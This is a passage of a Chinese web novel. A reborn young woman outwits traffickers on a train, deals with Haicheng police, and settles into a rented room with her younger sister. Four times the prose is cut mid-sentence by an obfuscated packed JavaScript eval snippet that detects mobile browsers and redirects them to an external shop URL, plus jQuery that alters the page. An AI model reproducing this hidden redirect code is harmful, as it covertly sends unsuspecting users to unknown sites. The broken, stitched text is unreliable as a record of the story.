再加上回想起上一世，她就更不能就这样放过他们了。 明曦打定主意，把明月送到餐车后嘱咐说：“你别乱跑，坐这等姐回来。” 明月拉住她的袖子问：“姐，你去哪？”眼神中充满不安。 明曦摸了摸她头笑说：“我去处理件事儿，你先买份饭吃，等你吃完我就回来了。” “行，那你快点回来，我自己一个人害怕。”明月松开手道。 “好。” 明曦笑着转身，眼神冷却下来，上一世自己坐火车去海城，怀揣着一百多块钱惴惴不安，迷茫着到了海城能不能找到一份工作，能不能安定下来再把明月接过去。 而人在迷茫的时候最容易上当受骗…… 明曦磨着后槽牙又回到了刚才的车厢里，那几个人果然还在附近转悠，眼睛胡乱的瞟，像在寻找可以作案的目标。 明曦收起脸上恨恨的表情，装作胆小怕生的样子，怯懦地走进那名妇女的视线范围之内。 果然，那名妇女又凑上来，脸上扬着爽朗的笑，问：“姑娘，你怎么一个人啊？你身边那个丫头呢？” 明曦苦着脸回道：“刚才人太多，走散了，我现在正着她呢。大姨，你看见她没有啊。” 明曦刚说完，就见这人眼神一闪，态度也变得更加热情，忙慌说：“看见了看见了！我带你去找去。” 明曦一把抓住她的手，像是遇到了救星一般：“真的吗？我妹朝哪个方向去了？我们爹妈死的早，我就她一个妹，我要是把她弄丢了，我也不想活了……”话音刚落地，豆大的泪珠子就打在了那妇女的手上。 上门的猎物哪有放过的道理，妇女一时也顾不上明曦前后态度上的矛盾，直接上手揽过她，将她往自己人的方向带，对着不远处的另外两人使了个眼色。 明曦仍在哭泣，像是对她的动作一无所觉，直走过了两个车厢才觉得不对劲。 她抬起头，惊惶地四下张望：“怎么还不见我妹妹？你们这是想要带我去哪？” 那妇女见她察觉不对，搭在她肩上的手不由得加重力量，嘴上哄劝说：“这火车长，你妹妹估计还在前头呢，咱们快点走，马上就追上了。” 明曦半信半疑，目光瞥到车厢连接处的乘务员后唇角勾了勾，说什么都不肯再往前走。 那妇女见拉不动她，一时也着急起来：“姑娘，你怎么不走了？” “你们都是骗子，你们根本不知道我妹妹在哪，你放开我，我要自己去找她了。”明曦刚挣脱她，蓝棉袄和皮绒帽见状不对，立马就围了上来。 明曦瞧着二人退后两步，抖着声音道：“你们、你们想干嘛？” 刚才还笑眯眯的妇女，脸上瞬间就换了一副表情，悲怆道：“闺女，你说你再跟妈闹别扭，也不能直接离家出走啊！是妈不对，妈不应该逼着你念书，但妈也是为了你好啊。” 三言两语间就将明曦描绘成因为逃学跟家里闹别扭而离家出走的叛逆女。 四周的人本还无聊的昏昏欲睡，谁承想竟碰上了这事，立马来了精神，围堵在几人旁边，插话道：“姑娘，这可就是你不对了，你看你妈年纪都多大了，还得为了你的事操心。” “就是啊，你可别觉得读书累，这车是去海城的，你是不是想去海城打工？等你真打了工就知道打工的辛苦了，而且没有学历，你都找不到好工作，就只能吃苦受累。” “还是读书好，姑娘你赶紧跟着你妈回去吧，回去好好读书，等毕业了找个坐办公室的活儿多好。” 车厢里一会儿安静一会儿热闹的，乘务员早就习以为常了，并不过来瞧。 妇女见人都站在自己这边，得意起来，伸手上前用力抓住明曦的手腕，妇女是农活做惯了的，手上有一把子力气，口中还谢道：“多谢，多谢各位，这马上到站了，我就带着我家闺女下车还回去。” 说完唤着旁边的俩男人，“愣着干啥，看着你们妹妹啊，待会儿她又跑了。” 明曦见时机成熟，反手擒住妇女，大声喝道：“人贩子，抓住他们，他们是人贩子！”她是会些招式的，只是身体过于消瘦，不能完全发挥出来，但想要制住这几人还是可以的。 事情发展迅速，周遭的人都还没反应过来，怎么这几人又便成了人贩子。 皮绒帽像是吃了一大惊：“妹子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136049|150102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，你也太不像话了！你就算再不想上学，也不能这样对咱妈啊！” 妇女扭着身子在明曦手下哀嚎喊痛，让人瞧着好不可怜，周围的人也忍不住站在妇女的立场上谴责明曦说：“就是啊姑娘，你这下手也太狠了，这可是你妈。” “这要是我闺女，我能由着她抓我？非得打她两棍子！”这些人只以为明曦能抓住妇女是妇女妥协。 这边过于喧闹，怕出什么事，乘务员也不得不过来。 “让让，让让，这是怎么了？” 蓝棉袄和皮绒帽赶忙上前拉住明曦，将妇女从她手下放出来，明曦也趁机卸力，随着他们架住自己，并不反抗。 他们也怕事情闹太大，不好收场，蓝棉袄讪笑着递上一根烟道：“没事没事，家里妹子跟老娘闹别扭呢！” 乘务员没收烟，看向几人说：“马上就到站了，要闹下车去闹去。” 也不是所有人都被三人带着走，人群中有人察觉不对，对着乘务员道：“刚才那姑娘说这几个人是人贩子。” 乘务员眼神陡然锋利起来，对着对讲机说了几句话。 蓝棉袄表情一僵，辩驳道：“我们哪可能是人贩子？就是家里妹妹不想上学闹别扭。” 乘警很快赶来，先看到明曦，惊了一瞬，又看向旁边的三人。 明曦见乘警过来，立马哭道：“叔叔，咱们刚刚才见过的，您是知道的，我跟他们不是一家子。我是跟我妹妹走散了，他们说知道我妹妹在哪，我就跟他们走了，我越走越不对劲，就不想跟他们一起走了，结果他们死拉着我不让我走，还说什么我是她闺女，都把我给说迷糊了。” 这时候当然不能承认是故意跟着他们走的，一定要证据确凿，让这几名人贩子统统被关进监狱。 乘警当了这么多年的铁路警察，瞬间理解她的想法，顺着道：“我刚才在餐车看见你妹妹了，我让她在那边坐着等你呢。” 周围的群众听警察都这么说了，瞬间哗然。 三名人贩子见事情败露，立马就想逃走，明曦手快，抓住妇女不放，这人一看就是三人中的头头，知道的细节肯定更多，抓住她，说不定还能将上下游都给摸出来。 不过就算明曦不抓住，这三人也跑不了了，车上这么多人，将前后路都给堵了个死，任他插翅也难逃。 那妇女被带走时还恶狠狠地瞪了明曦一眼，她干这行干了这么多年，没想到今天碰到了个硬茬儿。 人被抓住后，乘警领着明曦去餐车，边走边批评说：“你这丫头胆子也真大，明知道人家是人贩子，还敢凑上去故意让他们抓，犯罪分子不讲人理的，可不会手下留情，你这要是一招不慎，后果可不堪设想啊！” 说完说起后续安排：“这人等到了海城会交给那边的警察处理，到时候你作为受害人也得去做个笔录，要将事情的前因后果交代一下。” “好，我肯定全力配合。”明曦点头。 乘警又看了她一眼，脸上带了笑：“我瞧着你这丫头有勇有谋，是个能人，以后出息肯定不会小的。” 很快走到了餐车前，乘警：“去吧，去坐着吃点饭，歇一歇。” 明月从明曦走后就一直在位置上坐着，眼睛也一直盯着入口处，一个人一个人地看着，生怕会漏掉姐姐的身影。 这下看到明曦，连忙起身过去。 5. 海西公安局 “黄队长，你们来了。” 明曦跟着乘警刚踏进海西区公安局就见一位穿着便衣的女士迎上来笑道。 乘警也笑起来：“江队长，那几个嫌犯给你送过来了。” “行，先带到审讯室里，我待会儿过去。” 明曦听着二人熟稔的对话，直愣愣地盯着女士瞧，眼神一错也不错。 被唤为江队长的人穿着当下最时兴的皮衣，留着一头利落地短发，眼神锐利似鹰，但脸上却挂着亲和的笑。 江律心在少女看过来的第一时间就察觉到了，她扫了一眼明曦，见人瘦条条的，裹着肥大的棉袄，以为是第一次来警局，心中忐忑。 她冲着明曦笑，眼神却示意黄队长：“这就是察觉到人贩子的小姑娘吧。”语气中并没有疑问，想来见到她的第一眼心中就已经有了揣测。 黄队长露出一口白牙，眼神中都是赞赏：“就是她，小姑娘可厉害了。”说完又补充道，“有你当年的风范！” 江律心给了他一个白眼，轻柔的问明曦：“坐了这么长时间的火车，饿不饿？” 明曦还没来得及回答，乘警黄队长就插嘴说：“你以为我是你呀，人家姐妹两个被我们照顾的可好了，大家都知道她是英雄，时不时就给人家送好吃的。” “是是是。”江律心敷衍笑道，一阵寒风飘过来，她见旁边的小丫头不自禁地打了一个寒颤，连忙说，“别在院子里站这了，进屋里，屋里暖和。” 明曦牵着明月沉默地走在众人中间，眼睛却忍不住地越过前面的人往里面探，心中期待而忐忑。 从知道是来海西警察局，她就一直有些心事重重，乘务员姐姐们看出她的焦躁，也只以为她是因为第一次面对这种事情，难免有些害怕。 到办公室也就两步路的距离，一行人很快被室内的温暖包裹，江律心还亲自到了两杯温热的水递给她们。 “捧着暖暖手。” 明月先是看了一眼明曦，在她点头后才接过热水。 “就做做笔录，别害怕。”江律心笑起来，“小姑娘吃面包吗？” 没等二人回答，她就从抽屉里掏了两包面包给她们。 明曦怔怔接过，看着熟悉的花花绿绿的老式包装袋，隐约还能闻到里面香甜的气味，是富强面包。周文宣之前也很喜欢吃这个牌子的面包，连带着也给她投喂过不少。 想到这，她又忍不住抬头看了眼大办公室里那个让人无比熟悉的位置，木制的椅背上搭着一件警服，桌面被收拾的整整齐齐，连一页纸都不曾折起来，与旁边明显凌乱的桌子形成鲜明的对比。 明曦垂下眼睛，遮掩住眼眸中汹涌的情绪，她撕开包装袋，轻轻咬下一口面包，熟悉的味道在嘴里化开，眼角控制不住的有些湿润。 她感到胳膊被轻碰了一下，转过头去瞧，只见明月眼睛亮晶晶地看着她，趁着公安们没注意，对着姐姐悄声分享：“姐，这个面包好好吃，特别甜！” 明曦心中又是一阵酸涩，这个面包在海城的商店里随处可见，但对于明月而言却是十来年的人生第一次吃到。 明月不知道怎么吃到这么好吃的面包，姐姐的心情却还这么低落，她有些不安地看着她。 明曦勉力扬起笑，说：“那我回头多买一些，让你吃到腻。” 明月简直不敢想吃到腻会是多大的幸福，她又咬下一口面包，嚼了嚼，满足地咽进肚子里。 旁边跟黄队长交流情况的江律心一直注意着姐妹两，听到二人这话，心底也忍不住变软，问：“你们是第一次来海城？” 明曦点头：“是。” “有亲戚朋友在这边吗？”一般来说，女孩子出来打工都是有熟人带着的，要不然人生地不熟的，不太安全。 明曦摇摇头：“没有。” 明月警惕地看着江律心，生怕她会让她们俩回家去。 江律心干了这么多年的刑警了，扫她一眼就知道小丫头心里在想什么，不由失笑：“那你们今晚有地方住吗？” 现在已经四点多了，眼瞧着过不了多久天就要黑了。 明曦回道：“我们准备先找个招待所住一晚，明天再去租房子。” “倒也是个办法。”江律心点点头，“我待会儿找人送你们去招待所，明天租房也让她帮你参谋参谋。” 话音刚落，黄队长就迫不及待地替她们答应，生怕小姑娘家面子薄，不好意思接受。 江律心既然说出口，就没准备被拒绝，招招手叫人：“小徐，你过来一下。” “江队。”过来的是一名长发女孩，叫徐茗瑞。 江律心又对着她交代一番，徐茗瑞拍着胸脯保证：“江队，这事您就放心交给我就行。” 江律心瞧着她憨乎乎的样子，当下就有些不放心，无奈道：“要是小周在，这事交给他最妥帖，他对这一片最熟悉，就可惜他这两天请假。” 周文宣和徐茗瑞都是去年刚从警校毕业分配过来的学生，只是小徐是外地人，其实交给老公安也行，但他们组人手紧缺，赶着刚过完年，案子堆积着，老公安们都忙的脚不沾地，实在是没空。 徐茗瑞眼睛圆溜溜地瞪起来，鼓着脸不服气，“我肯定干的比周文宣好。” 明曦在江律心说出周文宣这两天请假的时候就跑神了，怪不得位置上空空的，办公室里也一直没见人影儿。 等做完笔录，从海西警察局出来的时候，天已经擦黑了，徐茗瑞在警服外穿了一件呢子大衣，领着姐妹俩直奔附近的招待所。 路上闲聊道：“小花，你今年多大啊？” 明曦明月证件上还是以前的名字。 “刚十八。” “才十八啊，那我大你好几岁呢，你叫我瑞姐吧。” 明曦弯着唇角笑：“瑞姐。”她前世没见过徐茗瑞。 徐茗瑞不自在的挠挠头，又问：“小草才12就来海城，不念书了吗？” “念的，等安定下来后就给她找学校，对了，瑞姐，你有没有什么推荐？” 就冲着这一声声瑞姐，徐茗瑞也不会推辞，“等我回去打听打听，再告诉你。” 招待所离得不远，三人走了十多分钟就到了，招待所的老板一看就跟徐茗瑞很熟悉，入住办理得很快，明曦付了钱后，徐茗瑞拿着钥匙领着二人上了二楼。 “这老板人不错的，你要有什么缺的就跟他说，前台也有电话，要有事也可以给我打电话，这是我宿舍号码。”徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136050|150102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茗瑞留下一张写着电话号的字条后就离开了，走前说，“我明天九点来找你们，带你们去租房。” “谢谢瑞姐。”姐妹俩齐声道。 在海城这个地界，这家招待所价格已经算实惠，再便宜的徐茗瑞也不放心让她姐俩去住。房间里一应设施都很齐全，甚至还有淋浴可以洗澡。 明月一进房间就啧啧称奇，在软床垫上坐了坐，躺下又起来，忍不住夸赞说：“姐，这个床好软啊，而且上面特别香，比桂花还香呢！” 明曦瞧着她这傻样，忍不住笑出声，“先去洗个澡吧，坐了几十个小时的火车了。”房间里十分温暖，她脱掉身上的棉袄，走进里面的浴室。 两个人洗完头洗完澡后坐在床沿上，明曦拿着吹风机给明月吹头发。 轰隆隆的声响中，明月好奇道：“姐，这个东西也太好用了吧，这样就算是冬天也能晚上洗头发了。” 农村没有吹风机，一到冬天，大家都是趁中午太阳最好的时候洗头发，洗完后站在太阳底下晒。 “那等我们租好房子也买一个吹风机，这样你想什么时候洗头就什么时候洗头。”吹风机的噪音太响，明曦只能扯着嗓子说话。 明月想都没想就拒绝：“还是不了，这东西一看就很贵，还是等有钱了再买吧。” 这时候只要是家电对她们来说就没有便宜的，不说家电，陈家就连电都没有，一到夜里，村里的其他人家都亮起灯，只有他们家一直是黑乎乎的。 明曦听到她的话后默了默，手指轻柔地穿过明月的有些干枯的长发，小姑娘爱美，头发留得长长的，平时总是很难打理。 明月头发干的差不多后，接过吹风机学着刚才明曦的样子给她吹。 招待所的灯挂在头顶，特别明亮，房间里被照得亮堂堂的。 吹完头发后，明月起身趴在窗户上，窗帘拉开一个角，透过玻璃窗看外面绚烂的世界。 明曦也凑过去跟她一起看。 城市跟农村是截然不同的两个世界，而海城又是最为发达的城市，哪怕是夜里，街上的行人也不少，路灯像是不要电似的照着，远处的高楼巍峨矗立，遮天蔽日般。 二人下了火车就跟着黄队长进了警察局，现在闲下来才能静静地欣赏这所城市。 明月微张着嘴惊叹：“怪不得二丫的姐姐要来这里打工，感觉在这就算睡路边都比陈家村好。” 明曦被她的对比笑到，点着不远处的高楼，说：“以后我们也要住在楼房里，房间里到处都亮着灯，就算晚上起夜也不用怕黑了。” 明月望着那边一个个亮起的小窗格，眼睛弯弯，开心地笑起来。 明曦视线下移，看到招待所门前的路灯下支起了一个小摊子，热腾腾的烟气往上跑，随之一起的是烤红薯的香气。明月也闻到了，肚子率先咕噜噜起来。 明曦抬手揉了揉她柔软的脑袋，起身拿起自己的破棉袄说：“你等我一会儿，我下去买一个上来。” 明月眼睛盯着小摊子，过了一会儿就看见明曦的身影，递过钱后从老板手里接了一个袋子。 明月坐回床上盯着门等着，耳朵也竖起来仔细听着外头的脚步声，好像心里已经被烤红薯的香甜炙烤到了。 6. 安家 姐妹俩难得睡了个懒觉，醒来的时候才七点多，要知道她们以往天擦亮就得起来给家里烧锅了。 被窝里暖烘烘的，明月赖着不想动，明曦也不催她，在旁边缓声说着今天的安排：“昨天瑞姐说九点带咱们去找房子，那我们在躺一会儿就起床去吃早饭，然后提前等着瑞姐过来。” 明月依偎在她旁边，轻声“嗯”了下，静静听着姐姐说。 明曦继续说：“也不知道在这边租房子是什么情况。现在好多坏人，就咱们两个，为了安全起见，肯定得租一个环境好治安好的，那就意味着租金高，也不知道咱们带来的这些钱能租几个月，当务之急还是得赶紧赚钱。” “那我们怎么赚钱？”明月问。 “等租完房子后先看看周围能干点什么。” 明月掀开被子坐起来，豪气地捋了一把头发催促道：“那咱们快点起来，吃完饭还有时间可以在附近转转。” 明曦哑然失笑，也跟着下床，“好。” 两人动作迅速，梳洗完也才刚过七点半，带上东西就下楼去对面的早餐铺子。 “要两份小笼包！”两人坐下后，明曦对着忙碌的老板喊道。 “马上就好！” 老板娴熟地裹着布从热气腾腾的蒸屉上拿了两笼，脚步匆忙地往桌子上一放，接着便又回到摊前忙活。 明月眼神亮晶晶地盯着眼前的小笼包，小笼包薄薄的皮塌陷下去，隐约可见里面的一点点汤汁，她忍不住咽了咽口水，拿着筷子有些傻气地问：“姐，小笼包好吃吗？” 明曦没回答好不好吃，而是从旁边拿了两个小碟子倒上醋和辣椒，将小碟子往桌子中心推了推，点了点下巴说：“尝尝。” 明月一听这话便像是河水放了闸，忍不住夹起一只小笼包，轻轻蘸了点醋，又裹了点辣椒，随后小心翼翼地放进嘴里。 薄薄的皮被咬开一个口子，里面的汤汁在口腔里绽开，鲜美的味道刺激了味蕾，肉馅在嘴里咀嚼，明月的两只眼像装了两只灯泡般看着明曦，夸赞道：“姐，你快尝尝，可好吃了！” 明曦一直笑着看着她，闻言也夹起一只吃掉，熟悉的味道仿佛将记忆唤起，隔着蒸腾的热气，对面好像坐了位穿着制服的寡言男人。 她前世获得自由后吃的第一样食物就是小笼包，只可惜后来因为胃癌再也吃不下任何东西。 这家店的辣椒有些辣了，小笼包才吃了一半，两个人便被辣的满脸通红，身上也微微冒出热汗来。 明曦四下看了看问明月：“有豆浆和豆腐脑，你想要哪个？” 明月舔了舔嘴唇说：“要豆浆。” 明曦笑了笑：“好。” 两人吃完早饭后时间还早，便如愿在附近逛了逛，不少墙上、电线杆上都被贴了招工启示。 明月拉着明曦凑过去瞧，“一个月两百多呢，而且还多劳多得！” 明曦扫了两眼上面的信息，是附近的一家工厂。 明月一字不漏地看完后有些遗憾道：“可惜要满18岁，我才12，而且男的优先。” 在这个时候对南下打工的人来说，进工厂上班是一个不错的选择，对学历要求不高，只要肯干就行，但明曦是没考虑过工厂的。 先不说前世的事，就说这一世，工厂在时间上并不自由，基本白天都要待在厂子里，而现在明月上学的事情一时半会儿的也解决不了，她不可能让明月一个人待在家里，那样她不放心。 而且她还有更重要的事情要做，所以工厂这个选项从始至终就不在明曦的选择里。 这一逛，时间也就差不多了。明曦扭头看到旁边有家商店，便拉着明月进去。 收银台旁边放着一锅温水，里面煮着玻璃瓶装的维他奶。 明曦从口袋里掏钱：“老板，要三瓶维他奶。” “现在天冷，瑞姐过来肯定又冻手又冻脚，今天还得麻烦她带咱们去租房子，正好待会儿把这瓶热维他给瑞姐暖手。”明曦把吸管放进瓶子里递给明月一瓶，自己揣着两瓶。 两人在招待所大堂里等了没多久，徐茗瑞就来了，裹着厚厚的棉袄，说话都冒白气。 明曦赶紧把维他奶递给她。 徐茗瑞不肯收：“不用不用，你们喝你们喝，我来的时候刚吃完早饭，现在肚子特别饱。”肚子饱也不过是个借口，她知道眼前这姐俩手里没什么钱，她哪好意思吃她们的东西。 明曦笑说：“瑞姐，我们买了三瓶呢，你要是不收，那这一瓶就浪费了。” 徐茗瑞无法，只好收下，热乎乎的玻璃瓶温暖着冰凉的手心，暗暗想着回头一定得再请回去，她汲取着玻璃瓶上的温暖，心中不由自主地对明曦二人更加亲近。 其实目前对明曦明月来说，海城的一切东西都很贵，包括这玻璃瓶的维他奶，明曦本来是只想买两瓶的，她们姐俩喝一瓶就好，但害怕瑞姐不肯收，这才又多买了一瓶。 徐茗瑞昨天就问了明曦对房子的要求，知道她想租一个安全点的，房租贵点也能接受，她昨天下班后就琢磨着合适的地方，今天到招待所接到人后就直奔想好的地方过去。 徐茗瑞笑起来，圆圆的脸上漾起酒窝，“这地方是我之前办案子认识的一个人介绍的，正好想出租房子，我想了想，也符合你的要求，就先带你过来看看。” “说房子不大，就一间房，再带个小厨房，没有厕所，平常得去公共厕所。”徐茗瑞领着姐妹两到了地方，拿着钥匙打开门。 明曦的视线在两层门上定了定，外面一层外开防盗门，里面一层内开入户门。 房子是真的不大，一眼到头，里面空荡荡的就两样东西，一张床一张桌子，除此之外就什么也没有了。 明曦扫视着这方方正正的房间，房子在三楼，窗户很明亮，采光也很好。而且这一路走过来，也没看见什么乱七八糟的人，大都穿得体面规矩，神态表情都很平和。 明曦看向明月，以目光询问。 明月高兴点头。 明曦于是问：“那房租是多少钱？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136051|150102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “说是一百块钱一个月，你要是喜欢的话，咱应该还能再跟他压压价。” 明月一听价格瞬间瞪大眼，她们手里现在可就只有一千多块钱了。 明曦心中了然，当下笑着答道：“那就这间吧，还得麻烦瑞姐带我去找房东砍砍价。” 徐茗瑞有些惊讶，没想到她这么快就决定好了，这才是今天看的第一件房子呢，她本来都做好带着她们找一天的准备了。 明曦看出她的想法，眉眼弯弯笑着：“瑞姐介绍的房子肯定不会错的，不管是地段、治安，还是别的什么，我都相信瑞姐的眼光。” 对于这话，徐茗瑞很受用，当下便爽朗地一拍手：“行，那咱接下来就去好好地砍砍价！” 明曦的话并不只是恭维徐茗瑞，她是真这么想，徐茗瑞的身份毕竟是公安，房东又是她办案时认识的，虽然其中故事不知道，但想来一定很信任尊敬她，有她作保，这所房子在各方面对于明曦来说肯定都是最实惠的。 几人说走就走，去找房东砍价，房租被砍到了七十块钱一个月，虽然对明曦来说还是不便宜，但相同地段相较于周围房价，已经是最低价。 而且房东看在徐茗瑞的面子上还特意同意她们房租一月一付。 这间房子能成功租下，全仰仗于徐茗瑞的帮忙，明曦赶紧拽着人的袖子就要请她吃午饭。 徐茗瑞无奈拒绝：“今天真不行，等下回，下回……” 下回复下回，下回何其多，明曦知道她是怕她们破费，在明月的帮助下拉着人不撒手：“就今天嘛，刚租好房子，锅碗瓢盆的什么都没有呢，我们本来也得下馆子吃，你就跟我们一起去吧。” 徐茗瑞拗不过她，最终只好跟着姐妹二人去了附近的饭店。 吃完饭后，徐茗瑞是说什么都不肯再留，连忙回了警察局，回去的路上遥遥看了眼明曦租的房子，心中总觉熟悉，好像记得他们队里有谁也住在这边，她皱着眉想了会儿，实在是记不起来也就作罢。 明曦和明月两人下午可真是没闲着，将房子里里外外全部清扫了一遍，又买了生活必需品回来，空空荡荡的房间也终于有了点人气儿。 不过两个人心里都想着省钱，只买了最紧要的东西，其余可有可无的都没买。 太阳逐渐西沉，天空慢慢暗下去，明月迫不及待地打开房间里的电灯，轻轻的“啪”的一声，头顶的灯顺声亮起，房间里的角角落落都被照亮。 明月满足地笑起来，整个人仰趴在床上，陷进柔软的被子里说：“咱们终于也有灯了，还能盖这么软的棉花被！” 陈家村只有他们一家没通电，所以每到晚上看着别人家里亮起灯，明月心里都是既酸涩又期待，如今也算是圆梦了。 明曦笑了笑，将烧好的热水灌进热水袋里，再放到床脚处暖着，她们两个一到冬天就总是手脚冰凉，睡到半夜脚都还是冰的。 明月起身拿起桌子上的一袋富强面包，撕开后掰一半递给明曦，这面包是下午买东西时，见商店里有，顺便买的。 7. 批发 那边徐茗瑞帮明曦两人租好房后就回了警察局，江律心听见声音从一大堆文件里抬头问：“都办好了？” “好了。”房间里很暖和，徐茗瑞将外面的棉袄脱掉，拉开凳子坐下，“小姑娘可干脆了，说定下就定下，不带一点犹豫的。” 江律心笑起来，“从她能看出来人贩子，又能让人贩子绳之以法就知道她有胆有谋，这种人做起事情来一般都很利落。” 徐茗瑞看了一眼旁边位置上无动于衷的人道：“可惜你昨天请假了，没见到真人。” 江律心也说：“小姑娘有趣得很。” 周文宣这才有了点兴趣，在徐茗瑞眼里，就没有什么是不新奇的，但江队也觉得有趣，那恐怕她们口中的这个人真的有点本事，他问：“这人叫什么？既然在这边租了房子，说不定以后还能碰上。” “姐姐叫小花，妹妹叫小草。”徐茗瑞回道。 周文宣不以为意：“小名吗？” 徐茗瑞摇头：“大名，姓陈。” 周文宣闻言没说什么，又开始整理起桌子上的东西来。 徐茗瑞啧啧叹道：“我觉得你肯定是有点强迫症在身上。” “那谁还能跟你似的，位置上乱糟糟的也不见收拾。”周文宣回怼。 徐茗瑞翻了个白眼，拉拉椅子坐好。 江律心喝口咖啡笑看两人，这俩是一起从警察学院分过来的，一个大大咧咧不拘小节，一个细心敏锐还有点讲究，性格上倒是互补。 人不能一直坐吃山空，睡了一夜后，明曦就带着明月出去转转，刚走到巷口就看见一堆小孩抱着擦炮呲花从商店里跑出来。 明曦一拍脑袋道：“现在刚过完年，小孩手里钱最多，又舍得花，咱可以去批发点小孩玩的东西回来卖。” 城市里不比农村，他们压岁钱多，不用干农活，时间也多。明曦越想越觉得这个想法可以，当下就带着明月在周围调查，看哪边小孩多，哪边小孩肯花钱。 这样一天走下来，明曦就把这一片摸得七七八八了，连一个小孩大概能拿多少钱心里都有数了。 走了一天，两人还丝毫不觉得累，精神奕奕地坐在灯下数钱，她们总共带过来一千三百多点，王瘸子那的一千二，苏主任给的一百，再加上明月从陈爹陈妈那偷的十几块钱。 现在去掉火车票、房租、日常用品，还剩一千多点。 明曦想了想说：“咱明天第一天，先尝试尝试，不进那么多货，先进二三十块钱的，看看行情怎么样，要是可以的话，就再多买点。” “那我们去哪进货？”明月问，她们这才刚来几天，对这边还不太熟悉呢，可别上当受骗才好。 明曦神秘笑笑：“你明天就跟在我后面就行。” 重活一世，在某些地方上她还是很有经验的，而且这也只是一茬子生意，等开了学，小孩手上的钱花的也就差不多了。 “这两天都忙忘了，明天要去给你买课本，海城的教材跟咱们那边不一样，买了书，让你先熟悉熟悉这边学习的东西，入学考试的分数尽量考高一点。”明曦拿出三十块后把剩下的钱都收起来放好。 她知道附近就有一所公立小学，但入学要考试，而且开年是下学期，估计到时候入学会比较困难。 明月抿着唇说：“姐，我不想上学了，我就跟着你，咱们多赚点钱。” 明曦转头看向她笑道：“说什么傻话，没有文化，你以后就只能赚点辛苦钱。而且姐也不是就不上学了，等赚点钱，我也要去上夜校，去学习新知识。” 她前世去世的时候正是04年，那时候跟明月一样大的人都二十多岁了，有文化的都很厉害的，她可不想明月以后当个睁眼瞎，她不光要看着她考上大学，还要给她培养兴趣爱好。 明月其实也不是不想上学，她主要是怕花钱。 “不要担心钱的事，姐能赚钱，你只管去上就好。”明曦知道她的顾虑，摸摸她的头开玩笑说，“而且你可不要掉以轻心，你在陈家村的时候是班里的第一，到了这可就不一定了，大城市的小孩学习能力可厉害了，他们还学英语，咱以前都没接触过。” 明月的好胜心被激起来，哼一声说：“我才不怕，我在老家都能第一，在这肯定也是第一。” “好！姐相信你。”明曦脸上扬着笑，眼中都是自豪，“咱们还得记得去改名，总不能让你还顶着‘陈小草’这个名字去上学。” “嗯嗯。”明月捣蒜似的点头，觉得现在的日子跟以前比起来，简直是天堂一般。 明曦看了眼她干枯的头发，商量说：“我们明天去把头发剪短点吧，重新留，留一头乌黑发亮的头发。” “好。”明月伸手顺着自己的长发，心中有些不舍，这头发她留了好几年呢，陈妈一直说卖，她都没舍得。 明曦安慰道：“头发还会再长长的。”她看着她瘦得没二两肉的小脸，有些心疼，心里打算着要让将她养的白白嫩嫩的。 早晨的空气清新凌冽，明曦调整呼吸，绕着居民楼一圈又一圈地跑，跑完后又在空地上打拳，这还是前世周文宣教她的，为了让她强身健体，也为了让她能有防身自保的能力。 而这具年轻的身体因为常年操劳农活，所以力气不小，而她现在需要让自己尽快熟悉这些防身的招式。 等锻炼完后，明曦从不远处的早餐铺上买了两份早餐拎着回去。 到家的时候，明月刚起来，正在叠被子，明曦把早餐放桌子上说：“买了小笼包、梅干菜肉包，还有豆腐脑，去刷牙洗脸过来吃饭。” 在吃食上，明曦不想省钱，所以一向是看明月喜欢吃什么就买什么，而且她还想带明月品尝更多她没吃过的东西。 明月洗漱好后，搬了凳子乖乖坐在桌子前吃饭。 明曦说：“海城的葱油饼也很有名，等进完货，我带你去买来尝尝。” 明月舀了一勺豆腐脑说：“好。”豆腐脑上撒了小虾米，嚼起来脆脆香香的，她很喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136052|150102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢。 吃完饭后，明曦就带着明月出门，出门前没忘把门锁好，还找了根头发丝放在锁扣上，现在小偷多得很，就她们姐俩，还是小心为上。 